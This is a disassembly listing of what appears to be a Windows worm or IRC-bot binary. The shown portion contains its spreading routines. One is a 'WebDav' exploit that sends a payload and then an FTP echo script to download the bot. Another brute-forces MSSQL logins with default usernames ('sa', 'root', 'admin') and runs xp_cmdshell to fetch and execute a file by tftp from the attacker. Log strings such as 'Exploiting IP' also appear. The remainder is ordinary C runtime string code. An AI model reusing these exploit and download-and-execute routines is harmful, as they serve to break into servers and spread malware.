loc_4125A9:				; CODE XREF: .text:00412674j
		push	dword ptr [ebp-8]
		jmp	loc_412731
; ---------------------------------------------------------------------------


loc_4125B1:				; CODE XREF: .text:00412547j
					; .text:0041254Dj
		push	1Ah
		pop	ecx
		mov	esi, offset dword_42C4E8
		lea	edi, [ebp-8590h]
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [ebp-43E0h]
		lea	edi, [ebp-8528h]
		rep movsd
		movsw
		push	1Ch
		pop	ecx
		mov	esi, offset dword_42C558
		lea	edi, [ebp-64B8h]
		rep movsd
		mov	ecx, 297h
		lea	esi, [ebp-334Ch]
		lea	edi, [ebp-6448h]
		rep movsd
		push	21h
		movsw
		pop	ecx
		mov	esi, offset dword_42C5D0
		lea	edi, [ebp-5984h]
		rep movsd
		mov	esi, [ebp-8]
		xor	edi, edi
		push	edi
		push	10FCh
		lea	eax, [ebp-8590h]
		push	eax
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414
		push	edi
		push	0FDCh
		lea	eax, [ebp-64B8h]
		push	eax
		push	esi
		jmp	loc_41259A
; ---------------------------------------------------------------------------


loc_412650:				; CODE XREF: .text:004125A3j
		push	0
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	dword ptr [ebp-8]
		call	dword_433414
		push	6
		push	1
		push	2
		call	dword_4334A0
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4125A9
		xor	eax, eax
		lea	edi, [ebp-20h]
		stosd
		stosd
		stosd
		stosd
		push	135h
		mov	word ptr [ebp-20h], 2
		call	dword_4335EC
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_433514
		mov	[ebp-1Ch], eax
		push	10h
		lea	eax, [ebp-20h]
		push	eax
		push	esi
		call	dword_433458
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4126BC
		push	dword ptr [ebp-8]
		jmp	short loc_41272A
; ---------------------------------------------------------------------------


loc_4126BC:				; CODE XREF: .text:004126B5j
		xor	edi, edi
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414
		test	eax, eax
		jle	short loc_412737
		push	1F4h
		call	ds:dword_41F000
		push	dword ptr [ebp+9Ch]
		lea	eax, [ebp+1Ch]
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo	a"...
		lea	eax, [ebp-2B0h]
		push	190h
		push	eax
		call	sub_412E0D
		lea	eax, [ebp-2B0h]
		add	esp, 14h
		lea	edx, [eax+1]


loc_412709:				; CODE XREF: .text:0041270Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_412709
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp-2B0h]
		push	eax
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		push	dword ptr [ebp-8]
		jnz	short loc_41273E


loc_41272A:				; CODE XREF: .text:004126BAj
		call	dword_4335AC


loc_412730:				; CODE XREF: .text:00412432j
					; .text:0041244Dj ...
		push	esi


loc_412731:				; CODE XREF: .text:004125ACj
		call	dword_4335AC


loc_412737:				; CODE XREF: .text:0041217Bj
					; .text:00412184j ...
		xor	eax, eax


loc_412739:				; CODE XREF: .text:004123F2j
					; .text:004127C0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41273E:				; CODE XREF: .text:00412728j
		call	dword_4335AC
		push	esi
		call	dword_4335AC
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSTryingToXploi ; "[%s]:	Trying to Xploit IP: %s."
		lea	eax, [ebp-4B0h]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 14h
		cmp	[ebp+140h], edi
		jnz	short loc_41279F
		push	edi
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-4B0h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4045DD
		add	esp, 14h


loc_41279F:				; CODE XREF: .text:0041277Dj
		lea	eax, [ebp-4B0h]
		push	eax
		call	sub_401C33
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		lea	eax, dword_42A070[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	loc_412739
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0E30h
		push	ebx
		xor	ebx, ebx
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		push	1
		mov	[ebp-1], bl
		mov	dword ptr [ebp-30h], offset aSa	; "sa"
		mov	dword ptr [ebp-2Ch], offset aRoot ; "root"
		mov	dword ptr [ebp-28h], offset aAdmin ; "admin"
		mov	[ebp-24h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], ebx
		call	dword_4334C4
		test	ax, ax
		jnz	short loc_41281E
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	dword ptr [ebp-14h]
		call	dword_43345C
		test	ax, ax
		jz	short loc_412825


loc_41281E:				; CODE XREF: .text:00412805j
		xor	eax, eax
		jmp	loc_412A73
; ---------------------------------------------------------------------------


loc_412825:				; CODE XREF: .text:0041281Cj
		push	esi
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-14h]
		push	2
		call	dword_4334C4
		test	ax, ax
		jz	short loc_412841
		xor	esi, esi
		jmp	loc_412A65
; ---------------------------------------------------------------------------


loc_412841:				; CODE XREF: .text:00412838j
		lea	eax, [ebp-30h]
		push	edi
		mov	edi, ds:dword_41F000
		mov	[ebp-8], eax


loc_41284E:				; CODE XREF: .text:00412A53j
		cmp	dword_42B050, ebx
		mov	[ebp-18h], ebx
		jz	loc_412A42
		mov	eax, offset dword_42B050
		mov	esi, eax


loc_412864:				; CODE XREF: .text:004128DEj
		lea	ecx, [ebp-1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp-8]
		push	dword ptr [eax]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+12Ch]
		push	eax
		lea	eax, [ebp-0A30h]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp-0A30h]
		add	esp, 1Ch
		lea	ecx, [eax+1]


loc_412896:				; CODE XREF: .text:0041289Bj
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_412896
		push	ebx
		sub	eax, ecx
		lea	ecx, [ebp-20h]
		push	ecx
		push	400h
		lea	ecx, [ebp-0E30h]
		push	ecx
		push	eax
		lea	eax, [ebp-0A30h]
		push	eax
		push	ebx
		push	dword ptr [ebp-0Ch]
		call	dword_43358C
		cmp	ax, bx
		jz	short loc_4128E5
		cmp	ax, 1
		jz	short loc_4128E5
		push	1F4h
		call	edi
		inc	dword ptr [ebp-18h]
		add	esi, 4
		cmp	[esi], ebx
		mov	eax, esi
		jnz	short loc_412864
		jmp	loc_412A42
; ---------------------------------------------------------------------------


loc_4128E5:				; CODE XREF: .text:004128C5j
					; .text:004128CBj
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-0Ch]
		push	3
		call	dword_4334C4
		mov	esi, offset byte_42AED0
		push	esi
		push	dword ptr [ebp+8]
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp-630h]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'tftp -i %s GE"...
		push	eax
		call	sub_412BB5
		add	esp, 10h
		push	0FFFFFFFDh
		lea	eax, [ebp-630h]
		push	eax
		push	dword ptr [ebp-10h]
		call	dword_4335A4
		test	ax, ax
		jz	loc_412A2E
		push	1388h
		call	edi
		push	esi
		lea	eax, [ebp-630h]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-230h]
		push	offset aTftpFileTran_1 ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_412BB5
		add	esp, 18h
		xor	esi, esi


loc_412966:				; CODE XREF: .text:00412999j
		lea	eax, [ebp-230h]
		push	eax
		call	sub_401D13
		test	eax, eax
		pop	ecx
		jz	short loc_41298E
		push	0FFFFFFFDh
		lea	eax, [ebp-630h]
		push	eax
		push	dword ptr [ebp-10h]
		call	dword_4335A4
		test	ax, ax
		jz	short loc_4129A0


loc_41298E:				; CODE XREF: .text:00412975j
		push	1388h
		call	edi
		inc	esi
		cmp	esi, 6
		jl	short loc_412966
		jmp	loc_412A2E
; ---------------------------------------------------------------------------


loc_4129A0:				; CODE XREF: .text:0041298Cj
		mov	eax, [ebp-18h]
		push	dword_42B050[eax*4]
		mov	eax, [ebp-8]
		push	dword ptr [eax]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+12Ch]
		mov	dword ptr [ebp-1Ch], 1
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingI_0 ; "[%s]:	Exploiting IP: (%s:%d) User: (%s/"...
		lea	eax, [ebp-230h]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 20h
		cmp	[ebp+140h], ebx
		jnz	short loc_412A10
		push	ebx
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-230h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4045DD
		add	esp, 14h


loc_412A10:				; CODE XREF: .text:004129EEj
		lea	eax, [ebp-230h]
		push	eax
		call	sub_401C33
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		lea	eax, dword_42A070[eax]
		inc	dword ptr [eax]
		pop	ecx


loc_412A2E:				; CODE XREF: .text:0041292Dj
					; .text:0041299Bj
		push	dword ptr [ebp-0Ch]
		call	dword_433468
		push	dword ptr [ebp-10h]
		push	3
		call	dword_433550


loc_412A42:				; CODE XREF: .text:00412857j
					; .text:004128E0j
		mov	esi, [ebp-1Ch]
		cmp	esi, 1
		jz	short loc_412A59
		add	dword ptr [ebp-8], 4
		mov	eax, [ebp-8]
		cmp	[eax], ebx
		jnz	loc_41284E


loc_412A59:				; CODE XREF: .text:00412A48j
		push	dword ptr [ebp-0Ch]
		push	2
		call	dword_433550
		pop	edi


loc_412A65:				; CODE XREF: .text:0041283Cj
		push	dword ptr [ebp-14h]
		push	1
		call	dword_433550
		mov	eax, esi
		pop	esi


loc_412A73:				; CODE XREF: .text:00412820j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412A80	proc near		; CODE XREF: sub_401000+5Cp
					; sub_401000+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_412B44
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_412AAC


loc_412A9B:				; CODE XREF: sub_412A80+2Aj
		mov	al, [edi]
		add	edi, 1
		test	al, al
		jz	short loc_412ADD
		test	edi, 3
		jnz	short loc_412A9B


loc_412AAC:				; CODE XREF: sub_412A80+19j
					; sub_412A80+42j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_412AAC
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_412AEC
		test	ah, ah
		jz	short loc_412AE7
		test	eax, 0FF0000h
		jz	short loc_412AE2
		test	eax, 0FF000000h
		jnz	short loc_412AAC


loc_412ADD:				; CODE XREF: sub_412A80+22j
		sub	edi, 1
		jmp	short loc_412AEF
; ---------------------------------------------------------------------------


loc_412AE2:				; CODE XREF: sub_412A80+54j
		sub	edi, 2
		jmp	short loc_412AEF
; ---------------------------------------------------------------------------


loc_412AE7:				; CODE XREF: sub_412A80+4Dj
		sub	edi, 3
		jmp	short loc_412AEF
; ---------------------------------------------------------------------------


loc_412AEC:				; CODE XREF: sub_412A80+49j
		sub	edi, 4


loc_412AEF:				; CODE XREF: sub_412A80+60j
					; sub_412A80+65j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_412B04
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_412B5E
		jmp	short loc_412B26
; ---------------------------------------------------------------------------


loc_412B04:				; CODE XREF: sub_412A80+79j
					; sub_412A80+9Dj
		mov	dl, [esi]
		add	esi, 1
		test	dl, dl
		jz	short loc_412B4A
		mov	[edi], dl
		add	edi, 1
		sub	ecx, 1
		jz	short loc_412B40
		test	esi, 3
		jnz	short loc_412B04
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_412B5E


loc_412B26:				; CODE XREF: sub_412A80+82j
					; sub_412A80+DCj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_412B40


loc_412B2D:				; CODE XREF: sub_412A80+BEj
		mov	dl, [esi]
		add	esi, 1
		mov	[edi], dl
		add	edi, 1
		test	dl, dl
		jz	short loc_412B42
		sub	ecx, 1
		jnz	short loc_412B2D


loc_412B40:				; CODE XREF: sub_412A80+95j
					; sub_412A80+ABj
		mov	[edi], cl


loc_412B42:				; CODE XREF: sub_412A80+B9j
		pop	ebx
		pop	esi


loc_412B44:				; CODE XREF: sub_412A80+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412B4A:				; CODE XREF: sub_412A80+8Bj
					; sub_412A80+FAj
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412B54:				; CODE XREF: sub_412A80+F6j
					; sub_412A80+10Ej
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_412B26


loc_412B5E:				; CODE XREF: sub_412A80+80j
					; sub_412A80+A4j
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_412B54
		test	dl, dl
		jz	short loc_412B4A
		test	dh, dh
		jz	short loc_412BAA
		test	edx, 0FF0000h
		jz	short loc_412B9A
		test	edx, 0FF000000h
		jnz	short loc_412B54
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412B9A:				; CODE XREF: sub_412A80+106j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412BAA:				; CODE XREF: sub_412A80+FEj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_412A80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BB5	proc near		; CODE XREF: sub_401000+19p
					; sub_401000+48p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_1C], 7FFFFFFFh
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_414CA3
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_412C07
		dec	[ebp+var_1C]
		js	short loc_412BFA
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_412C07
; ---------------------------------------------------------------------------


loc_412BFA:				; CODE XREF: sub_412BB5+3Bj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_414AFC
		pop	ecx
		pop	ecx


loc_412C07:				; CODE XREF: sub_412BB5+36j
					; sub_412BB5+43j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_412BB5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412C10	proc near		; CODE XREF: sub_401141+2CFp
					; sub_4078FA+3B62p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jz	short loc_412C37
		xor	eax, eax
		jmp	short loc_412C39
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412C10+21j
		mov	eax, edi


loc_412C39:				; CODE XREF: sub_412C10+25j
		cld
		pop	edi
		leave
		retn
sub_412C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412C40	proc near		; CODE XREF: sub_401141+6Ep
					; sub_401141+A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_412CDF
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_412C6C
		shr	ecx, 2
		jnz	loc_412CEF
		jmp	short loc_412C93
; ---------------------------------------------------------------------------


loc_412C6C:				; CODE XREF: sub_412C40+1Fj
					; sub_412C40+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_412CA6
		test	al, al
		jz	short loc_412CAE
		test	esi, 3
		jnz	short loc_412C6C
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_412CEF


loc_412C8E:				; CODE XREF: sub_412C40+ADj
		and	ebx, 3
		jz	short loc_412CA6


loc_412C93:				; CODE XREF: sub_412C40+2Aj
					; sub_412C40+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_412CD8
		sub	ebx, 1
		jnz	short loc_412C93


loc_412CA6:				; CODE XREF: sub_412C40+39j
					; sub_412C40+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412CAE:				; CODE XREF: sub_412C40+3Dj
		test	edi, 3
		jz	short loc_412CCC


loc_412CB6:				; CODE XREF: sub_412C40+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_412D5C
		test	edi, 3
		jnz	short loc_412CB6


loc_412CCC:				; CODE XREF: sub_412C40+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_412D47


loc_412CD3:				; CODE XREF: sub_412C40+9Bj
					; sub_412C40+116j
		mov	[edi], al
		add	edi, 1


loc_412CD8:				; CODE XREF: sub_412C40+5Fj
		sub	ebx, 1
		jnz	short loc_412CD3
		pop	ebx
		pop	esi


loc_412CDF:				; CODE XREF: sub_412C40+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412CE5:				; CODE XREF: sub_412C40+C7j
					; sub_412C40+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_412C8E


loc_412CEF:				; CODE XREF: sub_412C40+24j
					; sub_412C40+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_412CE5
		test	dl, dl
		jz	short loc_412D39
		test	dh, dh
		jz	short loc_412D2F
		test	edx, 0FF0000h
		jz	short loc_412D25
		test	edx, 0FF000000h
		jnz	short loc_412CE5
		mov	[edi], edx
		jmp	short loc_412D3D
; ---------------------------------------------------------------------------


loc_412D25:				; CODE XREF: sub_412C40+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_412D3D
; ---------------------------------------------------------------------------


loc_412D2F:				; CODE XREF: sub_412C40+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_412D3D
; ---------------------------------------------------------------------------


loc_412D39:				; CODE XREF: sub_412C40+CBj
		xor	edx, edx
		mov	[edi], edx


loc_412D3D:				; CODE XREF: sub_412C40+E3j
					; sub_412C40+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_412D53


loc_412D47:				; CODE XREF: sub_412C40+91j
		xor	eax, eax


loc_412D49:				; CODE XREF: sub_412C40+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_412D49


loc_412D53:				; CODE XREF: sub_412C40+105j
		and	ebx, 3
		jnz	loc_412CD3


loc_412D5C:				; CODE XREF: sub_412C40+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_412C40	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D64	proc near		; CODE XREF: sub_40169B+39p
					; sub_402B1D+56p ...

arg_0		= dword	ptr  4

		call	sub_415456
		mov	ecx, [esp+arg_0]
		mov	[eax+14h], ecx
		retn
sub_412D64	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D71	proc near		; CODE XREF: sub_401525+57p
					; sub_401525:loc_401588p ...
		call	sub_415456
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	[eax+14h], ecx
		mov	eax, ecx
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_412D71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D93	proc near		; CODE XREF: sub_401525+4Ap
					; sub_402B1D+23Cp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+var_14], 49h
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_416000
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41554C
		add	esp, 10h
		leave
		retn
sub_412D93	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412DD0	proc near		; CODE XREF: sub_4028A8+8p
					; sub_4039DE+Ap ...

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_412DE5
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------


loc_412DE5:				; CODE XREF: sub_412DD0+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]


loc_412DEA:				; CODE XREF: sub_412DD0+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_412DEA
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_412DD0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E0D	proc near		; CODE XREF: sub_401BBB+46p
					; sub_401C33+67p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		push	edi
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_414CA3
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_412E5E
		dec	[ebp+var_1C]
		js	short loc_412E51
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_412E5E
; ---------------------------------------------------------------------------


loc_412E51:				; CODE XREF: sub_412E0D+3Aj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_414AFC
		pop	ecx
		pop	ecx


loc_412E5E:				; CODE XREF: sub_412E0D+35j
					; sub_412E0D+42j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_412E0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E64	proc near		; CODE XREF: sub_401CA7+19p
					; sub_404592+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_C]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_414CA3
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_412EB4
		dec	[ebp+var_1C]
		js	short loc_412EA7
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_412EB4
; ---------------------------------------------------------------------------


loc_412EA7:				; CODE XREF: sub_412E64+39j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_414AFC
		pop	ecx
		pop	ecx


loc_412EB4:				; CODE XREF: sub_412E64+34j
					; sub_412E64+41j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_412E64	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EBA	proc near		; CODE XREF: sub_412F42j
					; sub_41CB47+36p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_415456
		mov	edi, [eax+64h]
		cmp	edi, off_42C7BC
		jz	short loc_412ED3
		call	sub_41628E
		mov	edi, eax


loc_412ED3:				; CODE XREF: sub_412EBA+10j
		mov	esi, [esp+8+arg_0]


loc_412ED7:				; CODE XREF: sub_412EBA+43j
		cmp	dword ptr [edi+28h], 1
		movzx	eax, byte ptr [esi]
		jle	short loc_412EEE
		push	8
		push	eax
		push	edi
		call	sub_41608B
		add	esp, 0Ch
		jmp	short loc_412EF8
; ---------------------------------------------------------------------------


loc_412EEE:				; CODE XREF: sub_412EBA+24j
		mov	ecx, [edi+48h]
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8


loc_412EF8:				; CODE XREF: sub_412EBA+32j
		test	eax, eax
		jz	short loc_412EFF
		inc	esi
		jmp	short loc_412ED7
; ---------------------------------------------------------------------------


loc_412EFF:				; CODE XREF: sub_412EBA+40j
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, 2Dh
		mov	edx, ecx
		jz	short loc_412F0F
		cmp	ecx, 2Bh
		jnz	short loc_412F13


loc_412F0F:				; CODE XREF: sub_412EBA+4Ej
		movzx	ecx, byte ptr [esi]
		inc	esi


loc_412F13:				; CODE XREF: sub_412EBA+53j
		xor	eax, eax


loc_412F15:				; CODE XREF: sub_412EBA+7Cj
		cmp	ecx, 30h
		jl	short loc_412F24
		cmp	ecx, 39h
		jg	short loc_412F24
		sub	ecx, 30h
		jmp	short loc_412F27
; ---------------------------------------------------------------------------


loc_412F24:				; CODE XREF: sub_412EBA+5Ej
					; sub_412EBA+63j
		or	ecx, 0FFFFFFFFh


loc_412F27:				; CODE XREF: sub_412EBA+68j
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_412F38
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2]
		movzx	ecx, byte ptr [esi]
		inc	esi
		jmp	short loc_412F15
; ---------------------------------------------------------------------------


loc_412F38:				; CODE XREF: sub_412EBA+70j
		cmp	edx, 2Dh
		pop	edi
		pop	esi
		jnz	short locret_412F41
		neg	eax

locret_412F41:				; CODE XREF: sub_412EBA+83j
		retn
sub_412EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_412F42	proc near		; CODE XREF: sub_401D45+63p
					; sub_402B1D+3FEp ...
		jmp	sub_412EBA
sub_412F42	endp


; =============== S U B	R O U T	I N E =======================================



sub_412F47	proc near		; CODE XREF: sub_412F93+32p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_412F4D:				; DATA XREF: .rdata:off_4271ACo
